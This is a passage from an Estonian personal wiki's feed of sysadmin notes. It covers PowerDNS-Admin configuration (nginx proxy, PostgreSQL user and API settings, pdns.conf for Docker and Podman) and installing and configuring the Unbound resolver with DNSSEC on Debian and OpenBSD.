        ssl_prefer_server_ciphers on;&lt;br /&gt;
&lt;br /&gt;
        ssl_certificate /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.crt;&lt;br /&gt;
        ssl_certificate_key /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.key;&lt;br /&gt;
&lt;br /&gt;
        # Recommended security settings&lt;br /&gt;
        ssl_session_cache shared:SSL:10m;&lt;br /&gt;
        ssl_session_timeout 10m;&lt;br /&gt;
        ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305;&lt;br /&gt;
&lt;br /&gt;
        # Logging&lt;br /&gt;
        access_log /dev/stdout;&lt;br /&gt;
        error_log /dev/stdout;&lt;br /&gt;
&lt;br /&gt;
        # Reverse proxy to the destination&lt;br /&gt;
        location / {&lt;br /&gt;
            proxy_pass http://svc_pdns:8081;&lt;br /&gt;
            proxy_set_header Host $host;&lt;br /&gt;
            proxy_set_header X-Real-IP $remote_addr;&lt;br /&gt;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&lt;br /&gt;
            proxy_set_header X-Forwarded-Proto $scheme;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab pda webgui poole pöörduda aadressiga https://pdns.moraal.ee/.&lt;br /&gt;
&lt;br /&gt;
PDA kasutaja parooli muutmine postgresql baasis, nb rakendus kasutab tabeli nimena 'user', see on postgresql nö built-in objekt ja name clash ületamiseks tuleb pöörduda rakendusega seotud ressursi poole &amp;quot;user&amp;quot; abil, eriti koos skeemi prefiksiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql db_pda&lt;br /&gt;
pda=# select * from public.&amp;quot;user&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]------------------------------------------------------------&lt;br /&gt;
id         | 1&lt;br /&gt;
username   | admin&lt;br /&gt;
password   | $2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FF&lt;br /&gt;
firstname  | Imre&lt;br /&gt;
lastname   | Oolberg&lt;br /&gt;
email      | imre.oolberg@auul.pri.ee&lt;br /&gt;
otp_secret | &lt;br /&gt;
role_id    | 1&lt;br /&gt;
confirmed  | f&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
db_pda=# update public.&amp;quot;user&amp;quot; set password='$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC' where username='admin';&lt;br /&gt;
UPDATE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures password väärtus tekitatakse nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ htpasswd -bnBC 15 &amp;quot;&amp;quot; pdaparool | tr -d ':\n'&lt;br /&gt;
$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into &amp;quot;user&amp;quot; (username, password, firstname, lastname, email, role_id, confirmed) values ('admin',  '$2b$12$4M9qXQaWn95GTregvSO2v.I/1QQT0/Ayqt3jZsMp06FIa5dMme6Gu', 'Administrator', 'Administrator', 'priit@moraal.ee', 1, 'f');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pdns api kontakti lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_url', 'http://192.168.10.80:8081');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_key', 'apiparool');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_version', '4.9.11');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# select * from setting;&lt;br /&gt;
 id |     name     |         value&lt;br /&gt;
----+--------------+------------------------&lt;br /&gt;
  7 | pdns_api_url | http://192.168.10.80:8081&lt;br /&gt;
  8 | pdns_api_key | apiparool&lt;br /&gt;
  9 | pdns_version | 4.9.11&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA kasutamise privileegid====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Account - grupi taoline moodustis, praktiliselt võiks vastata domeeni omanik asutusele&lt;br /&gt;
* User - kasutaja taoline moodustis, vastab inimesele kes süsteemi kasutab&lt;br /&gt;
* User ja Account vaheliste seoste abil saab anda hulgale kasutajatele õiguse tegeleda hulga domeenidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@rv-xxx-01:/opt/pda/dc# docker exec -ti e8 sh&lt;br /&gt;
/app $ ps aux&lt;br /&gt;
PID   USER     TIME  COMMAND&lt;br /&gt;
    1 pda       0:00 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    7 pda       0:02 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    8 pda       0:01 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
&lt;br /&gt;
[2025-10-31 13:06:25,927] [record.py:61] ERROR - Cannot fetch zone's record data from remote powerdns api. DETAIL: HTTPSConnectionPool(host='rvxxx-01.test.moraal.ee', port=443): Max retries exceeded with url: /api/v1/servers/localhost/zones/imretest-03.ee (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain (_ssl.c:1007)')))&lt;br /&gt;
&lt;br /&gt;
    volumes:&lt;br /&gt;
        #      - /opt/pda/volume/pda/etc/ssl/certs/ca-certificates.crt:/usr/lib/python3.10/site-packages/certifi/cacert.pem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA API liidese kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tsooni tekitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -s -L -H 'Content-Type: application/json' -H 'Authorization: Basic xxx' -X POST https://pda.moraal.ee/api/v1/pdnsadmin/zones \&lt;br /&gt;
    --data '{&amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;, &amp;quot;kind&amp;quot;: &amp;quot;MASTER&amp;quot;, &amp;quot;nameservers&amp;quot;: [&amp;quot;ans1.moraal.ee.&amp;quot;, &amp;quot;ans2.moraal.ee.&amp;quot;]}' | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;account&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;api_rectify&amp;quot;: false,&lt;br /&gt;
  &amp;quot;catalog&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;dnssec&amp;quot;: false,&lt;br /&gt;
  &amp;quot;edited_serial&amp;quot;: 2026010802,&lt;br /&gt;
  &amp;quot;id&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;kind&amp;quot;: &amp;quot;Master&amp;quot;,&lt;br /&gt;
  &amp;quot;last_check&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;master_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;masters&amp;quot;: [],&lt;br /&gt;
  &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;notified_serial&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;nsec3narrow&amp;quot;: false,&lt;br /&gt;
  &amp;quot;nsec3param&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;rrsets&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee. hostmaster.moraal.ee. 2026010801 86400 7200 2419200 10800&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;SOA&amp;quot;&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        },&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans2.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;NS&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
  ],&lt;br /&gt;
  &amp;quot;serial&amp;quot;: 2026010801,&lt;br /&gt;
  &amp;quot;slave_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;soa_edit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;soa_edit_api&amp;quot;: &amp;quot;DEFAULT&amp;quot;,&lt;br /&gt;
  &amp;quot;url&amp;quot;: &amp;quot;/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui pole ligipääsu saab sellise vastuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% curl -s -L -H 'Content-Type: application/json' -H 'X-API-KEY:  xxx' -X GET &amp;quot;https://pda.moraal.ee/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee&amp;quot; | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;msg&amp;quot;: &amp;quot;Zone access not allowed&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns docker lahendus===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf&lt;br /&gt;
allow-axfr-ips=127.0.0.1,192.168.10.0/24&lt;br /&gt;
allow-notify-from=&lt;br /&gt;
allow-unsigned-notify=yes&lt;br /&gt;
also-notify=&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=saladus&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-soa-content=ans1.auu.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
disable-syslog=no&lt;br /&gt;
forward-notify=&lt;br /&gt;
include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
launch=&lt;br /&gt;
local-address=172.30.0.15, 10.30.0.15&lt;br /&gt;
local-port=53&lt;br /&gt;
log-dns-details=yes&lt;br /&gt;
log-dns-queries=yes&lt;br /&gt;
log-timestamp=yes&lt;br /&gt;
loglevel=4&lt;br /&gt;
only-notify=&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=10.30.0.15&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
webserver-loglevel=detailed&lt;br /&gt;
webserver-password=saladus&lt;br /&gt;
webserver-port=8081&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns podman lahendus===&lt;br /&gt;
&lt;br /&gt;
PDNS Quadlet Service kirjeldus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
Environment=PDNS_local_port=8053&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning pdns.conf seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/pdns/volume/pdns/etc/powerdns/pdns.conf&lt;br /&gt;
local-address=0.0.0.0&lt;br /&gt;
launch=&lt;br /&gt;
# include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=parool&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=0.0.0.0&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
#master=yes&lt;br /&gt;
&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
allow-axfr-ips= 100.20.21.0/24,127.0.0.1/32,172.17.0.0/16&lt;br /&gt;
also-notify=192.168.1.150&lt;br /&gt;
only-notify=&lt;br /&gt;
forward-notify=&lt;br /&gt;
default-soa-content=ans1.auul.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
# default-nsec3-param=1 0 0 -&lt;br /&gt;
&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-extra-connection-parameters=password=parool dbname=db_pdns port=5432 user=pdns host=192.168.1.147&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Tsooni migreerimine pädeva pdns peale===&lt;br /&gt;
&lt;br /&gt;
====Protseduur====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Käsundamine====&lt;br /&gt;
&lt;br /&gt;
Tekitatakse migreeritava tsooni sekundaar&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil create-secondary-zone moraal.ee 192.168.1.148&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://www.powerdns.com/&lt;br /&gt;
* http://www.poweradmin.org/&lt;br /&gt;
* https://github.com/PowerDNS/pdns/wiki/WebFrontends&lt;br /&gt;
* http://jpmens.net/2010/10/29/alternative-dns-servers-the-book-as-pdf/&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
* https://www.cloudflare.com/dns/dnssec/how-dnssec-works/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Rekursiivse_resolveri_Unbound_kasutamine_operatsioonis%C3%BCsteemiga_Debian&amp;diff=4237</id>
		<title>Rekursiivse resolveri Unbound kasutamine operatsioonisüsteemiga Debian</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Rekursiivse_resolveri_Unbound_kasutamine_operatsioonis%C3%BCsteemiga_Debian&amp;diff=4237"/>
		<updated>2026-06-16T08:35:24Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Kasulikud lisamaterjalid */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Kategooria:Interneti domeeninimede süsteem]]&lt;br /&gt;
===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
Üks võimalus liigitada nimeservereid või nimeserverite tarkvara on selle järgi, millised päringuid teenindatakse&lt;br /&gt;
&lt;br /&gt;
* pädev ehk autoriteetne (ingl. k. authoritative) - vastab päringutele ainult nimeserveri tsoonifailis kirjeldatud andmete alusel; autoriteetsed nimeserverid teenindavad reeglina resolverite päringuid&lt;br /&gt;
* rekursiivne (ingl. k. recursive) - rekursiivne nimeserver ei sisalda nö oma tsoonifaili, st ta ei ole mingite vastuste osas autoriteetne; rekursiivne nimeserver teenindab mingi piiratud hulga klientide päringuid lahendades neid autoriteetsete nimeserverite abil ja seetõttu nimetatakse rekursiivset nimeserverit tihti resolveriks (ingl. k. to resolve - lahendama)&lt;br /&gt;
&lt;br /&gt;
Unbound http://www.unbound.net/ resolveril on selliseid omadused&lt;br /&gt;
&lt;br /&gt;
* rekursiivne - lahendab nö lõppkasutaja esitatud päringuid, nt sobib seadistada töökohaarvuti nimeserveriks&lt;br /&gt;
* vaheladustav (ingl. k. caching) - Unbound peab kord lahendatud vastust mõnda aega meeles, mis tähendab, et järgmisele samale päringule vastab ta kliendile kohe ja ei pea omakorda pöörduma vastuse saamiseks autoriteetsete nimeserverite poole&lt;br /&gt;
* valideeriv - toetab DNSSEC kasutamist&lt;br /&gt;
* IPv6 tugi&lt;br /&gt;
&lt;br /&gt;
Rekursiivse resolveri vastutus on parimal võimalikul moel anda kliendi esitatud päringule vastus, seejuures&lt;br /&gt;
&lt;br /&gt;
* kasutada vastuse koostamisel mitmete pädevate nimeserverite abi&lt;br /&gt;
* anda õige vastus - nt mitte ennast lasta eksitada cache poisoning tehnikatest, võimalusel kasutada DNSSEC vahendeid&lt;br /&gt;
* vastata kiiresti&lt;br /&gt;
&lt;br /&gt;
===Unbound paigaldamine===&lt;br /&gt;
&lt;br /&gt;
2011 aastal leidub paljude operatsioonisüsteemide paketihalduses Unbound tarkvara. &lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze sisaldab versiooni 1.4.6 ja paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install unbound&lt;br /&gt;
&lt;br /&gt;
====OpenBSD====&lt;br /&gt;
&lt;br /&gt;
OpenBSD 5.4 sisaldab binaarse paketina versiooni 1.4.9 ja paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pkg_add unbound      &lt;br /&gt;
 unbound-1.4.20:libldns-1.6.16p0: ok                                                                                                        &lt;br /&gt;
 useradd: Warning: home directory `/var/unbound' doesn't exist, and -m was not specified                                                    &lt;br /&gt;
 unbound-1.4.20: ok                                                                                                                         &lt;br /&gt;
 The following new rcscripts were installed: /etc/rc.d/unbound&lt;br /&gt;
 See rc.d(8) for details.&lt;br /&gt;
 --- +unbound-1.4.20 -------------------&lt;br /&gt;
 You should add:&lt;br /&gt;
 &lt;br /&gt;
     syslogd_flags=&amp;quot;${syslogd_flags} -a /var/unbound/dev/log&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 to /etc/rc.conf.local to create a syslog socket in the unbound chroot.&lt;br /&gt;
&lt;br /&gt;
Selleks, et /etc/rc.d/unbound skript töötaks, peab olema seadistatud unbound-control (127.0.0.1 pealt).&lt;br /&gt;
&lt;br /&gt;
===Unbound seadistamine===&lt;br /&gt;
&lt;br /&gt;
Resolveri seadistusfailis tuleb näidata muu hulgas&lt;br /&gt;
&lt;br /&gt;
* juurnimeserverite aadressid&lt;br /&gt;
* millisel aadressil resolver päringuid teenindab&lt;br /&gt;
* millised kliendid saavad resolverit kasutada, tavaliselt kliendi src ip aadressi täpsusega&lt;br /&gt;
&lt;br /&gt;
Unbound tööd juhib seadistusfail unbound.conf&lt;br /&gt;
&lt;br /&gt;
* /etc/unbound/unbound.conf - Debian&lt;br /&gt;
* /var/unbound/etc/unbound.conf - OpenBSD&lt;br /&gt;
&lt;br /&gt;
Lihtsamal juhul võib kasutada nt sellise sisuga seadistusfaili&lt;br /&gt;
&lt;br /&gt;
  server:&lt;br /&gt;
     interface: 192.168.10.190&lt;br /&gt;
     outgoing-interface: 192.168.10.190&lt;br /&gt;
     access-control: 192.168.1.0/24 allow&lt;br /&gt;
     access-control: 192.168.10.0/24 allow_snoop&lt;br /&gt;
     root-hints: &amp;quot;/var/unbound/etc/named.cache&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* interface - millisel aadressil arvuti Unbound resolveri kliente teenindab&lt;br /&gt;
* outgoing-interface - milliselt aadressilt resolveri päringud autoriteetsetele nimeserveritele väljuvad&lt;br /&gt;
* access-control - millistelt ip aadressidelt saab Unbound resolverit kasutada; allow lubab esitada ainult rekursiivseid päringuid, nt +norec annab vaikimisi refused vastuse&lt;br /&gt;
&lt;br /&gt;
 $ dig +norec @nimeserver domeeni.nimi&lt;br /&gt;
 ...&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: REFUSED, id: 52133&lt;br /&gt;
&lt;br /&gt;
allow_snoop lubab mõlemaid (viimane on vajalik, et unbound kasutaja saaks öelda&lt;br /&gt;
&lt;br /&gt;
 $ dig +trace @nimeserver domeeni.nimi&lt;br /&gt;
&lt;br /&gt;
* root-hints - resolver peab alati teadma interneti juurnimeserverite aadresse&lt;br /&gt;
&lt;br /&gt;
Juurnimeserverite aadresse saab küsida mõnes juba seadistatud resolveriga arvutis&lt;br /&gt;
&lt;br /&gt;
  $ dig . ns&lt;br /&gt;
&lt;br /&gt;
või kopeerida aadressilt Linuxis&lt;br /&gt;
&lt;br /&gt;
  $ wget ftp://FTP.INTERNIC.NET/domain/named.cache&lt;br /&gt;
&lt;br /&gt;
OpenBSD keskkonnas&lt;br /&gt;
&lt;br /&gt;
  $ ftp ftp://FTP.INTERNIC.NET/domain/named.cache&lt;br /&gt;
&lt;br /&gt;
===Unbound käivitamine===&lt;br /&gt;
&lt;br /&gt;
Unbound resolver teenindab päringuid portidel 53/udp ja 53/tcp.&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/unbound start | stop&lt;br /&gt;
&lt;br /&gt;
====OpenBSD====&lt;br /&gt;
&lt;br /&gt;
Selleks, et Unbound töötaks OpenBSD all chroot keskkonnas kataloogis /var/unbound kasutajana _unbound tuleb kasutada seadistusfailis rida&lt;br /&gt;
&lt;br /&gt;
 chroot: &amp;quot;/var/unbound&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Et chroot keskkonnas töötav Unbound saaks logida syslog'i tuleb syslog käivitamisel lisaks kasutada '-a /var/unbound/dev/log'&lt;br /&gt;
&lt;br /&gt;
  # syslogd -a /var/www/dev/log -a /var/empty/dev/log -a /var/unbound/dev/log&lt;br /&gt;
&lt;br /&gt;
/etc/rc.conf.local failis sobib kasutada rida&lt;br /&gt;
&lt;br /&gt;
  syslogd_flags=&amp;quot;${syslogd_flags} -a /var/unbound/dev/log&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2012 kevadel ütleb OpenBSD v. 5.1 paketihalduse unbound chroot kasutamisel kävitamisel nii&lt;br /&gt;
&lt;br /&gt;
 # unbound -dv                             &lt;br /&gt;
 [1335943357] unbound[20534:0] notice: Start of unbound 1.4.15.&lt;br /&gt;
 [1335943357] unbound[20534:0] warning: increased limit(open files) from 128 to 4140&lt;br /&gt;
 [1335943357] unbound[20534:0] warning: unable to setusercontext _unbound: Bad file descriptor&lt;br /&gt;
&lt;br /&gt;
Limiitide tuleb töötada sarnaselt nagu on kirjeldatud aadressil http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_OpenBSD_kasutamine#Login_class_kasutamine.&lt;br /&gt;
&lt;br /&gt;
Tavalisel viisil sobib kasutada käivitusskripti&lt;br /&gt;
&lt;br /&gt;
  # /etc/rc.d/unbound start | stop&lt;br /&gt;
&lt;br /&gt;
Vastasel korral on logis midagi sellist&lt;br /&gt;
&lt;br /&gt;
 Mar 13 16:03:01 unbound[28759:0] error: can't create socket: Too many open files&lt;br /&gt;
&lt;br /&gt;
===Unbound kasutamine===&lt;br /&gt;
&lt;br /&gt;
Unbound resolveri kasutajateks on tavaliselt arvutid, mis vajavad nimelahendust, nt kohtvõrgu arvutid, eposti serverid jt kusjuures Unbound protsess töötab selleks ettenähtud arvutis või võrgusõlmeks olevas seadmes&lt;br /&gt;
&lt;br /&gt;
      internet&lt;br /&gt;
        ...&lt;br /&gt;
         |&lt;br /&gt;
        _|_&lt;br /&gt;
       |   | OpenBSD võrgusõlm&lt;br /&gt;
       |___| Unbound protsess&lt;br /&gt;
         |&lt;br /&gt;
   --|---|----------|-----------|--&lt;br /&gt;
     |              |           |&lt;br /&gt;
 &lt;br /&gt;
          dns kliendid (töökohaarvuti, serverid)&lt;br /&gt;
&lt;br /&gt;
Linux keskkonnas sobib näidata nimeserveri aadress staatiliselt arvuti /etc/resolv.conf failis nt reaga&lt;br /&gt;
&lt;br /&gt;
  nameserver 192.168.10.190&lt;br /&gt;
&lt;br /&gt;
Unbound resolveri tööd saab kontrollida nt öeldes mõnes arvutis, kus peab kõnealust resolverit saama kasutada&lt;br /&gt;
&lt;br /&gt;
  $ dig @192.168.10.190 kuutorvaja.eenet.ee a&lt;br /&gt;
&lt;br /&gt;
ja vastus peaks sisaldama sarnaseid ridu rida&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  ;; QUESTION SECTION:&lt;br /&gt;
  ;kuutorvaja.eenet.ee.           IN      A&lt;br /&gt;
  &lt;br /&gt;
  ;; ANSWER SECTION:&lt;br /&gt;
  kuutorvaja.eenet.ee.    83840   IN      A       193.40.0.7&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
===Nimepäringu vastuse valideerimine===&lt;br /&gt;
&lt;br /&gt;
Nimepäringute vastuste valideerimiseks kasutatakse üldiselt DNSSEC tehnikat. 2011 aastal on selleks mitmeid võimalusi, kaks populaarsemat on&lt;br /&gt;
&lt;br /&gt;
* signeeritud tsoonifailidega juurnimeserverite kasutamine, kõige loomulikum viis&lt;br /&gt;
* DLV (DNSSEC Look-aside Validation) - üleminekuaja häkk&lt;br /&gt;
&lt;br /&gt;
Kui nimeteenust kasutatakse sarnaselt ülaltoodud skeemile, siis peab arvestama, et DNSSEC kontroll toimub Unbound protsessi juures, sealt edasi kliendini liigub vastus tavalise avateksina üle kohtvõrgu ja klient otsustab vastuse turvalisuse üle ad biti järgi vastuses. Seetõttu on reeglina soovitav, et Unbound töötaks nimeteenust kasutatavatele arvutitele võimalikult lähedal.&lt;br /&gt;
&lt;br /&gt;
DNSSEC juurutamise kronoloogia&lt;br /&gt;
&lt;br /&gt;
* 15. juuli 2010 - juurnimeserverid kasutavad signeeritud tsoone http://www.root-dnssec.org/&lt;br /&gt;
* ? - .org tsoon on signeeritud&lt;br /&gt;
* 31. märts 2011 - .com tsoon on signeeritud http://www.theregister.co.uk/2011/04/01/dnssec_com_goes_live/&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.theregister.co.uk/2011/04/01/dnssec_com_goes_live/&lt;br /&gt;
* http://blogs.pcmag.com/securitywatch/2011/03/dnssec_in_com_domain_is_a_good.php&lt;br /&gt;
&lt;br /&gt;
====Signeeritud tsoonifailiga juurnimeserverite kasutamine====&lt;br /&gt;
&lt;br /&gt;
Unbound seadistamiseks tuleb kasutada seadistusfailis rida&lt;br /&gt;
&lt;br /&gt;
 auto-trust-anchor-file: &amp;quot;root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
